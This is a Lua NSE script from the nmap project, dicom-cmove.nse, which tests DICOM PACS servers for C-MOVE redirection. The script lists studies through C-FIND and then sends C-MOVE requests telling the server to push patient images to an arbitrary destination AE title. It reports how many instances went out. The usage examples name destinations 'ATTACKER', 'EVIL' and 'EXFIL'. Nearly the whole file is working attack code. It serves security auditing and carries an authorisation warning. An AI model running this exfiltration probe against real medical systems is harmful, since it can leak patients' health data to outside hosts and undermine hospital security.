nmap/scripts/dicom-cmove.nse
paulino 527ef01bf3
Some checks failed
nmap multiplatform autobuilds / build (arm64, gcc, ubuntu-latest-gcc-arm64, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, freebsd-15-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, macos-15-clang, macos-15) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, macos-26-clang, macos-26) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, netbsd-10-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, openbsd-7-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, solaris-11-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, ubuntu-latest-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (egcc, openbsd-7-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (gcc, freebsd-15-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (gcc, netbsd-10-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (gcc, solaris-11-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (gcc, ubuntu-latest-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (msvc, windows-latest-msvc, windows-latest) (push) Has been cancelled
Add DICOM auditing suite (8 NSE scripts) and expand dicom.lua into a full DIMSE toolkit (C-STORE/FIND/GET/MOVE, role negotiation, DICOM-over-TLS) [Paulino Calderon]
2026-10-03 04:41:30 +00:00

583 lines
21 KiB
Lua

description = [[
DICOM C-MOVE redirection probe and data exfiltration proof-of-concept.
Tests whether a DICOM PACS/server will honour C-MOVE requests that redirect
patient data to an arbitrary destination AE Title. C-MOVE is an SSRF-like
primitive: the attacker tells the SCP to push images to a third-party host
(or back to the attacker) without needing the target to be in the modality
worklist. This is the most dangerous Q/R primitive because:
1. The attacker never receives data on the same association (unlike C-GET);
instead, the SCP opens a NEW association to the destination and sends
C-STORE sub-operations.
2. If the destination AE is configured in the PACS, the move succeeds
silently - the attacker can exfiltrate data to any registered node.
3. Even if the destination is unknown, the SCP may still attempt a TCP
connection to resolve it (observable as an outbound connection attempt).
The workflow:
1. (Optional) C-FIND at STUDY level to discover studies
2. C-MOVE-RQ with a configurable MoveDestination AE Title
3. Monitor C-MOVE-RSP status (PENDING progress, SUCCESS, or FAILURE)
4. Report whether the PACS accepted the move, how many sub-operations
completed/failed/warned, and any error status codes
This script does NOT set up a listener to receive the redirected images.
Use dicom-get.nse if you want to actually download data. This script's
purpose is to prove that arbitrary-destination C-MOVE is accepted.
WARNING: This is an intrusive script. A successful C-MOVE causes the target
PACS to attempt to push patient data to the specified destination. Only use
against systems for which you have explicit written authorisation.
Requires the dicom.lua library (place in nselib/ or same directory).
]]
---
-- @usage
-- nmap -p 4242 --script dicom-cmove \
-- --script-args 'dicom-cmove.called_ae=ORTHANC,dicom-cmove.dest_ae=ATTACKER' <target>
--
-- @usage
-- # Move a specific study to a destination AE
-- nmap -p 4242 --script dicom-cmove \
-- --script-args 'dicom-cmove.called_ae=ORTHANC,dicom-cmove.study_uid=1.2.3.4.5,dicom-cmove.dest_ae=EVIL' <target>
--
-- @usage
-- # Probe with patient root model and custom timeout
-- nmap -p 4242 --script dicom-cmove \
-- --script-args 'dicom-cmove.called_ae=ORTHANC,dicom-cmove.dest_ae=EXFIL,dicom-cmove.info_model=patient,dicom-cmove.timeout=15' <target>
--
-- @args dicom-cmove.called_ae Target AE Title (default: "ANY-SCP")
-- @args dicom-cmove.calling_ae Our AE Title (default: "NMAP-MOVE")
-- @args dicom-cmove.dest_ae MoveDestination AE Title - where to redirect
-- data (default: "YOURPACS")
-- @args dicom-cmove.study_uid Specific StudyInstanceUID to move (default:
-- discover via C-FIND)
-- @args dicom-cmove.series_uid Specific SeriesInstanceUID to move (requires
-- study_uid)
-- @args dicom-cmove.patient_name Patient name filter for C-FIND discovery
-- (default: "*")
-- @args dicom-cmove.patient_id Patient ID filter for C-FIND discovery
-- (default: "")
-- @args dicom-cmove.modality Modality filter for C-FIND discovery
-- (default: "")
-- @args dicom-cmove.level Move level: "STUDY", "SERIES", "IMAGE"
-- (default: "STUDY")
-- @args dicom-cmove.max_studies Max studies to attempt C-MOVE on (default: 1)
-- @args dicom-cmove.timeout DIMSE timeout in seconds (default: 15)
-- @args dicom-cmove.max_pdu Max PDU Length (default: 16384)
-- @args dicom-cmove.info_model Q/R information model: "study" or "patient"
-- (default: "study")
--
-- @output
-- PORT STATE SERVICE
-- 4242/tcp open dicom
-- | dicom-cmove:
-- | Target AE: ORTHANC Calling AE: NMAP-MOVE
-- | MoveDestination: ATTACKER
-- | Studies discovered: 2 (via C-FIND)
-- | C-MOVE Results:
-- | Study 1.2.826...514 - Doe^John (PT_001)
-- | Status: REFUSED (0xA801) - Move destination unknown
-- | Completed: 0 Failed: 0 Warning: 0
-- | Study 1.2.826...515 - Smith^Jane (PT_002)
-- | Status: SUCCESS (0x0000)
-- | Completed: 45 Failed: 0 Warning: 0
-- | WARNING: PACS pushed 45 instances to 'ATTACKER'
-- | Summary: 1/2 studies accepted C-MOVE redirection
-- | VULNERABILITY: Server redirects patient data to arbitrary AE titles
-- |_
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive"}
local shortport = require "shortport"
local stdnse = require "stdnse"
local nmap = require "nmap"
local string = require "string"
local math = require "math"
local dicom = require "dicom"
portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp",
"open")
-----------------------------------------------------------------------
-- HELPERS
-----------------------------------------------------------------------
local function get_arg(key, default)
return stdnse.get_script_args("dicom-cmove." .. key) or default
end
--- Translate a C-MOVE-RSP status code to a human-readable string.
-- References: PS3.4 Table C.4-2 (Move Service Status Values)
local function move_status_str(code)
if code == 0x0000 then return "SUCCESS"
elseif code == 0xFF00 then return "PENDING"
elseif code == 0xFF01 then return "PENDING (warnings)"
elseif code == 0xFE00 then return "CANCEL"
-- Failure statuses
elseif code == 0xA701 then
return "REFUSED - out of resources, unable to calculate number of matches"
elseif code == 0xA702 then
return "REFUSED - out of resources, unable to perform sub-operations"
elseif code == 0xA801 then return "REFUSED - move destination unknown"
elseif code == 0xA900 then
return "REFUSED - identifier does not match SOP Class"
elseif code == 0xC000 then return "FAILED - unable to process"
-- Warning statuses
elseif code == 0xB000 then
return "WARNING - sub-operations complete with failures"
-- Range-based statuses
elseif code >= 0xC000 and code <= 0xCFFF then
return string.format("FAILED - unable to process (0x%04X)", code)
elseif code >= 0xA000 and code <= 0xAFFF then
return string.format("REFUSED (0x%04X)", code)
else
return string.format("UNKNOWN (0x%04X)", code)
end
end
--- Classify a final status as accepted, refused, or error.
local function classify_status(code)
if code == 0x0000 then return "accepted" -- SUCCESS
elseif code == 0xB000 then return "accepted" -- WARNING (partial success)
elseif code >= 0xA000 and code <= 0xAFFF then return "refused"
elseif code >= 0xC000 and code <= 0xCFFF then return "failed"
elseif code == 0xFE00 then return "cancelled"
else return "unknown"
end
end
-----------------------------------------------------------------------
-- C-FIND DISCOVERY (reused from dicom-get pattern)
-----------------------------------------------------------------------
--- Discover studies via C-FIND.
-- @return list of {study_uid, patient_name, patient_id, modality, description}
local function discover_studies(host, port, called_ae, calling_ae, find_sop,
pat_name, pat_id, modality, max_pdu,
timeout_s, max_studies)
local ok, sock, pctxs, server_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae, {find_sop}, max_pdu, timeout_s)
if not ok then return nil, sock end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
return nil, "No accepted presentation context for C-FIND"
end
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
-- Build query
local query_tags = {
{group=0x0010, elem=0x0010, vr="PN", value=pat_name}, -- PatientName
{group=0x0010, elem=0x0020, vr="LO", value=pat_id}, -- PatientID
{group=0x0020, elem=0x000D, vr="UI", value=""},
-- StudyInstanceUID (return key)
{group=0x0008, elem=0x0061, vr="CS", value=modality}, -- ModalitiesInStudy
{group=0x0008, elem=0x1030, vr="LO", value=""}, -- StudyDescription
}
local cmd = dicom.build_cfind_rq(1, find_sop)
local ds = dicom.build_cfind_dataset("STUDY", query_tags, ts)
dicom.send_dimse(sock, pctx_id, cmd, ds, eff_max)
-- Collect responses
local studies = {}
local carry = ""
while true do
local pdu_type, cmd_elems, resp_ds, raw
pdu_type, cmd_elems, resp_ds, raw, carry = dicom.recv_dimse(sock,
timeout_s, carry)
if not pdu_type then break end
if pdu_type == dicom.PDU_CODES.ABORT then break end
if pdu_type ~= dicom.PDU_CODES.DATA then break end
local status = 0xFFFF
if cmd_elems and cmd_elems["0000,0900"] then
status = cmd_elems["0000,0900"].value
end
if status == dicom.STATUS.PENDING
or status == dicom.STATUS.PENDING_WARN then
if #resp_ds > 0 then
local elems = dicom.parse_dataset(resp_ds, ts)
if elems then
studies[#studies + 1] = {
study_uid = elems["0020,000D"] or "",
patient_name = elems["0010,0010"] or "",
patient_id = elems["0010,0020"] or "",
modality = elems["0008,0061"] or "",
description = elems["0008,1030"] or "",
}
if #studies >= max_studies then
stdnse.debug1("C-FIND: max_studies (%d) reached", max_studies)
break
end
end
end
elseif status == dicom.STATUS.SUCCESS then
break
else
break
end
end
dicom.do_release(sock, 3)
return studies
end
-----------------------------------------------------------------------
-- C-MOVE PROBE
-----------------------------------------------------------------------
--- Send C-MOVE-RQ for a study/series and monitor the response.
--
-- C-MOVE flow (PS3.4 C.4.2):
-- SCU sends C-MOVE-RQ with MoveDestination + identifier dataset
-- SCP opens NEW association to MoveDestination and sends C-STORE ops
-- SCP sends C-MOVE-RSP (PENDING) with progress counters
-- SCP sends C-MOVE-RSP (final) with SUCCESS/FAILURE/WARNING
--
-- We only monitor the C-MOVE-RSP messages on our association.
-- We do NOT receive the C-STORE sub-operations (those go to dest_ae).
--
-- @return result table with status info
local function do_cmove(host, port, called_ae, calling_ae, move_sop,
query_tags, level, dest_ae, max_pdu, timeout_s)
local result = {
status_code = nil,
status_str = "",
classification = "",
completed = 0,
failed = 0,
warning = 0,
remaining = 0,
error_msg = nil,
}
-- Only propose the C-MOVE SOP class (no storage classes needed --
-- the SCP opens a separate association to the destination for C-STORE)
local ok, sock, pctxs, server_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae, {move_sop}, max_pdu, timeout_s)
if not ok then
result.error_msg = tostring(sock)
return result
end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
result.error_msg = "No accepted presentation context for C-MOVE"
return result
end
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
-- Build C-MOVE-RQ command + identifier dataset
local cmd_bytes = dicom.build_cmove_rq(1, move_sop, dest_ae)
-- The identifier dataset is the same format as C-FIND/C-GET
local ds_bytes = dicom.build_cget_dataset(level, query_tags, ts)
stdnse.debug1("C-MOVE: sending RQ to move to '%s' via %s level=%s",
dest_ae, move_sop, level)
dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max)
-- Monitor C-MOVE-RSP messages
local carry = ""
local got_final = false
while true do
local pdu_type, cmd_elems, resp_ds, raw
pdu_type, cmd_elems, resp_ds, raw, carry =
dicom.recv_dimse(sock, timeout_s, carry)
if not pdu_type then
if not got_final then
result.error_msg = "Connection lost or timeout waiting for" ..
" C-MOVE-RSP: " ..
tostring(raw)
end
break
end
if pdu_type == dicom.PDU_CODES.ABORT then
result.error_msg = "Received A-ABORT during C-MOVE"
result.status_str = "ABORTED"
result.classification = "refused"
break
end
if pdu_type ~= dicom.PDU_CODES.DATA then
stdnse.debug1("C-MOVE: unexpected PDU 0x%02X", pdu_type)
break
end
local cmd_field = 0
if cmd_elems and cmd_elems["0000,0100"] then
cmd_field = cmd_elems["0000,0100"].value
end
if cmd_field == dicom.COMMAND_FIELD.C_MOVE_RSP then
local move_status = 0xFFFF
if cmd_elems["0000,0900"] then
move_status = cmd_elems["0000,0900"].value
end
-- Extract sub-operation counters (PS3.7 Table 9.1-5)
if cmd_elems["0000,1020"] then
result.remaining = cmd_elems["0000,1020"].value
end
if cmd_elems["0000,1021"] then
result.completed = cmd_elems["0000,1021"].value
end
if cmd_elems["0000,1022"] then
result.failed = cmd_elems["0000,1022"].value
end
if cmd_elems["0000,1023"] then
result.warning = cmd_elems["0000,1023"].value
end
if move_status == dicom.STATUS.PENDING
or move_status == dicom.STATUS.PENDING_WARN then
stdnse.debug2("C-MOVE: progress - %d completed, %d remaining, %d" ..
" failed",
result.completed, result.remaining, result.failed)
else
-- Final response
result.status_code = move_status
result.status_str = move_status_str(move_status)
result.classification = classify_status(move_status)
got_final = true
-- Check for error comment
if cmd_elems["0000,0902"] then
result.error_msg = tostring(cmd_elems["0000,0902"].value):gsub("%z",
""):gsub("%s+$", "")
end
stdnse.debug1("C-MOVE: final status 0x%04X (%s) - %d completed, %d" ..
" failed, %d warning",
move_status, result.status_str, result.completed, result.failed,
result.warning)
break
end
else
stdnse.debug1("C-MOVE: unexpected command field 0x%04X", cmd_field)
end
end
dicom.do_release(sock, 3)
return result
end
-----------------------------------------------------------------------
-- MAIN ACTION
-----------------------------------------------------------------------
action = function(host, port)
local called_ae = get_arg("called_ae", "ANY-SCP")
local calling_ae = get_arg("calling_ae", "NMAP-MOVE")
local dest_ae = get_arg("dest_ae", "YOURPACS")
local study_uid = get_arg("study_uid", nil)
local series_uid = get_arg("series_uid", nil)
local pat_name = get_arg("patient_name", "*")
local pat_id = get_arg("patient_id", "")
local modality = get_arg("modality", "")
local level = get_arg("level", "STUDY"):upper()
local max_studies = tonumber(get_arg("max_studies", "1"))
local timeout_s = tonumber(get_arg("timeout", "15"))
local max_pdu = tonumber(get_arg("max_pdu", "16384"))
local info_model = get_arg("info_model", "study"):lower()
local out = stdnse.output_table()
out["Target AE"] = called_ae
out["Calling AE"] = calling_ae
out["MoveDestination"] = dest_ae
-- Select Q/R SOP classes
local find_sop, move_sop
if info_model == "patient" then
find_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_FIND
move_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_MOVE
else
find_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_FIND
move_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_MOVE
end
-- == Phase 1: Discover studies (or use provided UID) ==
local studies = {}
if study_uid then
studies[#studies + 1] = {
study_uid = study_uid,
patient_name = "(specified)",
patient_id = "",
}
out["Studies"] = "1 (specified via study_uid)"
else
local found, err = discover_studies(host, port, called_ae, calling_ae,
find_sop, pat_name, pat_id, modality, max_pdu, timeout_s, max_studies)
if not found then
out["Error"] = "C-FIND discovery failed: " .. tostring(err)
return out
end
if #found == 0 then
out["Result"] = "No studies found (server may require specific AE" ..
" title or filter)"
return out
end
studies = found
out["Studies discovered"] = string.format("%d (via C-FIND)", #studies)
end
-- == Phase 2: Send C-MOVE-RQ for each study ==
local move_results = {}
local total_accepted = 0
local total_refused = 0
local total_failed = 0
local total_completed_subops = 0
for _, study in ipairs(studies) do
if study.study_uid == "" then goto next_study end
-- Build identifier tags for C-MOVE
local query_tags = {
{group=0x0020, elem=0x000D, vr="UI", value=study.study_uid},
}
local move_level = level
if series_uid and series_uid ~= "" then
query_tags[#query_tags + 1] =
{group=0x0020, elem=0x000E, vr="UI", value=series_uid}
move_level = "SERIES"
end
stdnse.debug1("C-MOVE: requesting move of study %s (%s) -> '%s'",
study.study_uid, study.patient_name, dest_ae)
local r = do_cmove(host, port, called_ae, calling_ae, move_sop,
query_tags, move_level, dest_ae, max_pdu, timeout_s)
r.study_uid = study.study_uid
r.patient_name = study.patient_name
r.patient_id = study.patient_id
move_results[#move_results + 1] = r
if r.classification == "accepted" then
total_accepted = total_accepted + 1
total_completed_subops = total_completed_subops + r.completed
elseif r.classification == "refused" then
total_refused = total_refused + 1
else
total_failed = total_failed + 1
end
::next_study::
end
-- == Output ==
local result_lines = {}
for _, r in ipairs(move_results) do
local short_uid = r.study_uid
if #short_uid > 40 then
short_uid = short_uid:sub(1, 20) .. "..." .. short_uid:sub(-16)
end
local line = string.format("Study %s - %s", short_uid, r.patient_name)
if r.patient_id ~= "" then
line = line .. string.format(" (%s)", r.patient_id)
end
result_lines[#result_lines + 1] = line
if r.error_msg and not r.status_code then
-- Connection/association error, no C-MOVE-RSP received
result_lines[#result_lines + 1] = string.format(" Error: %s",
r.error_msg)
elseif r.status_code then
result_lines[#result_lines + 1] = string.format(
" Status: %s", r.status_str)
result_lines[#result_lines + 1] = string.format(
" Completed: %d Failed: %d Warning: %d",
r.completed, r.failed, r.warning)
if r.error_msg then
result_lines[#result_lines + 1] = string.format(
" Error comment: %s", r.error_msg)
end
if r.classification == "accepted" and r.completed > 0 then
result_lines[#result_lines + 1] = string.format(
" WARNING: PACS pushed %d instances to '%s'",
r.completed, dest_ae)
end
end
end
out["C-MOVE Results"] = result_lines
-- Summary
local total = #move_results
if total > 0 then
out["Summary"] = string.format(
"%d/%d studies: %d accepted, %d refused, %d errored",
total_accepted, total, total_accepted, total_refused, total_failed)
end
-- Vulnerability assessment
if total_accepted > 0 then
if total_completed_subops > 0 then
out["VULNERABILITY"] = string.format(
"Server redirected %d instances to arbitrary AE '%s' - " ..
"data exfiltration via C-MOVE confirmed",
total_completed_subops, dest_ae)
else
out["VULNERABILITY"] = string.format(
"Server accepted C-MOVE to '%s' (0 sub-ops completed - " ..
"destination may be unreachable but redirection was attempted)",
dest_ae)
end
elseif total_refused > 0 and total_accepted == 0 then
-- All refused - check if it's because destination is unknown
local all_dest_unknown = true
for _, r in ipairs(move_results) do
if r.status_code ~= 0xA801 then
all_dest_unknown = false
break
end
end
if all_dest_unknown then
out["Note"] = string.format(
"C-MOVE refused: destination '%s' is unknown to the PACS. " ..
"The server validates MoveDestination against its modality list. " ..
"Try a known AE title (e.g. the server's own AE) to confirm" ..
" redirection.",
dest_ae)
else
out["Note"] = "C-MOVE was refused by the server. See status codes above."
end
end
nmap.set_port_state(host, port, "open")
port.version.name = "dicom"
port.version.product = "DICOM SCP"
nmap.set_port_version(host, port, "hardmatched")
return out
end